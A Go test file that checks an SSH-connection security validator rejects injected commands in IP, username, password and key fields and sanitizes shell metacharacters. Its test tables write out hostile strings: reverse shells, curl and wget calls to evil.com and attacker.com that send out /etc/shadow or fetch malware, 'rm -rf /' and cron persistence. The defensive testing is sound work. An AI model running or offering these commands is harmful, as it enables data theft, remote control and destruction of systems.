package security

import (
	"testing"
)

// TestAttackVectorPrevention tests that our security measures prevent common attack vectors
func TestAttackVectorPrevention(t *testing.T) {
	validator := NewSecurityValidator()
	
	t.Run("SSH Command Injection Prevention", func(t *testing.T) {
		// These are actual attack vectors that could be used to compromise systems
		maliciousInputs := []struct {
			field string
			value string
			attack string
		}{
			{"IP", "192.168.1.1; rm -rf /", "Command chaining via semicolon"},
			{"IP", "192.168.1.1`whoami`", "Command substitution via backticks"},
			{"IP", "192.168.1.1$(id)", "Command substitution via dollar parentheses"},
			{"IP", "192.168.1.1\ncat /etc/passwd", "Newline injection"},
			{"IP", "192.168.1.1 | nc attacker.com 4444", "Pipe redirection attack"},
			
			{"Username", "user; curl http://evil.com/steal", "Data exfiltration via command chaining"},
			{"Username", "user`wget http://evil.com/malware`", "Remote code download"},
			{"Username", "user$(curl -X POST -d @/etc/shadow evil.com)", "Data theft"},
			{"Username", "user\nsudo rm -rf /*", "Privilege escalation attempt"},
			{"Username", "user && echo 'malicious' > /tmp/backdoor", "File system manipulation"},
			{"Username", "user'test", "Quote breaking"},
			{"Username", "user\"test", "Double quote injection"},
			{"Username", "user test", "Space injection"},
			{"Username", "user/../../etc/passwd", "Path traversal in username"},
			
			{"Password", "pass`nc -e /bin/sh attacker.com 4444`", "Reverse shell via password"},
			{"Password", "pass; curl http://evil.com", "Network exfiltration"},
			{"Password", "pass$(cat /etc/hosts)", "File reading"},
			{"Password", "pass'||curl evil.com", "OR injection with network call"},
			{"Password", "pass\nwget http://evil.com/backdoor", "Payload download"},
			{"Password", "pass$USER", "Environment variable expansion"},
		}
		
		for _, attack := range maliciousInputs {
			var err error
			
			switch attack.field {
			case "IP":
				err = validator.ValidateIP(attack.value)
			case "Username":  
				err = validator.ValidateUsername(attack.value)
			case "Password":
				err = validator.ValidatePassword(attack.value)
			}
			
			if err == nil {
				t.Errorf("SECURITY VULNERABILITY: %s attack was not blocked: %s", 
					attack.attack, attack.value)
			} else {
				t.Logf("✓ Blocked %s: %s -> %s", attack.attack, attack.value, err.Error())
			}
		}
	})
	
	t.Run("SSH Connection Request Attack Prevention", func(t *testing.T) {
		// Test complete SSH connection requests with various attack vectors
		attackRequests := []struct {
			ip       string
			username string  
			password string
			sshKey   string
			port     int
			attack   string
		}{
			{
				ip: "192.168.1.1; curl http://attacker.com/data-theft",
				username: "ubuntu",
				password: "password",
				port: 22,
				attack: "IP-based command injection",
			},
			{
				ip: "192.168.1.1",
				username: "ubuntu`wget http://evil.com/malware -O /tmp/backdoor`",
				password: "password", 
				port: 22,
				attack: "Username-based malware download",
			},
			{
				ip: "192.168.1.1",
				username: "ubuntu",
				password: "pass$(curl -d @/etc/passwd http://attacker.com/steal)", 
				port: 22,
				attack: "Password-based data exfiltration",
			},
			{
				ip: "192.168.1.1",
				username: "ubuntu",
				password: "",
				sshKey: "malicious-key`rm -rf /`not-a-real-key",
				port: 22,
				attack: "SSH key with embedded command",
			},
			{
				ip: "192.168.1.1",
				username: "ubuntu",
				password: "password",
				port: 99999,
				attack: "Invalid port number",
			},
		}
		
		for _, attack := range attackRequests {
			err := validator.ValidateSSHConnectionRequest(
				attack.ip, attack.username, attack.password, attack.sshKey, attack.port)
			
			if err == nil {
				t.Errorf("SECURITY VULNERABILITY: %s was not blocked", attack.attack)
			} else {
				t.Logf("✓ Blocked %s: %s", attack.attack, err.Error())
			}
		}
	})
	
	t.Run("Command Sanitization Prevention", func(t *testing.T) {
		// Test that command sanitization prevents dangerous operations
		dangerousCommands := []struct {
			input  string
			attack string
		}{
			{"rm -rf /; echo 'gotcha'", "File system destruction"},
			{"curl http://evil.com/steal | sh", "Remote code execution"},
			{"nc -e /bin/bash attacker.com 4444", "Reverse shell"},
			{"cat /etc/passwd | base64 | curl -d @- http://evil.com", "Data exfiltration pipeline"},
			{"`wget http://evil.com/malware -O /tmp/backdoor`", "Backdoor installation"},
			{"$(python -c 'import os; os.system(\"rm -rf /\")')", "Python-based file deletion"},
			{"echo malicious > /etc/crontab", "Persistence via cron"},
			{"chmod 777 /etc/shadow", "Permission escalation"},
			{"/bin/sh -c 'curl http://evil.com'", "Shell escape"},
			{"exec(\"curl http://attacker.com\")", "Execution function abuse"},
		}
		
		for _, cmd := range dangerousCommands {
			sanitized := validator.SanitizeForCommand(cmd.input)
			
			// Check that dangerous characters were removed
			if sanitized == cmd.input {
				t.Errorf("SECURITY VULNERABILITY: Dangerous command was not sanitized: %s", cmd.input)
			} else {
				t.Logf("✓ Sanitized %s: '%s' -> '%s'", cmd.attack, cmd.input, sanitized)
			}
			
			// Ensure key dangerous patterns are removed
			dangerousPatterns := []string{";", "|", "`", "$", "(", ")", "<", ">"}
			for _, pattern := range dangerousPatterns {
				if containsPattern(cmd.input, pattern) && containsPattern(sanitized, pattern) {
					t.Errorf("SECURITY ISSUE: Dangerous pattern '%s' not removed from: %s", 
						pattern, cmd.input)
				}
			}
		}
	})
	
	t.Run("Buffer Overflow Prevention", func(t *testing.T) {
		// Test that our length limits prevent buffer overflow attacks
		oversizedInputs := []struct {
			field string
			size  int
		}{
			{"IP", 1000},        // Much larger than any valid IP
			{"Username", 500},   // Larger than Unix username limit
			{"Password", 1000},  // Very large password
			{"SSH Key", 20000},  // Larger than our 16KB limit
			{"Hostname", 2000},  // Larger than DNS limit
		}
		
		for _, input := range oversizedInputs {
			largeString := string(make([]byte, input.size))
			for i := range largeString {
				largeString = string(append([]byte(largeString[:i]), 'A')) + largeString[i+1:]
			}
			
			var err error
			switch input.field {
			case "IP":
				err = validator.ValidateIP(largeString)
			case "Username":
				err = validator.ValidateUsername(largeString)  
			case "Password":
				err = validator.ValidatePassword(largeString)
			case "SSH Key":
				err = validator.ValidateSSHKey("-----BEGIN RSA PRIVATE KEY-----\n" + largeString + "\n-----END RSA PRIVATE KEY-----")
			case "Hostname":
				err = validator.ValidateHostname(largeString)
			}
			
			if err == nil {
				t.Errorf("SECURITY VULNERABILITY: Oversized %s (%d bytes) was not rejected", 
					input.field, input.size)
			} else {
				t.Logf("✓ Rejected oversized %s (%d bytes): %s", 
					input.field, input.size, err.Error())
			}
		}
	})
}

// Helper function to check if a string contains a pattern
func containsPattern(s, pattern string) bool {
	for i := 0; i <= len(s)-len(pattern); i++ {
		if s[i:i+len(pattern)] == pattern {
			return true
		}
	}
	return false
}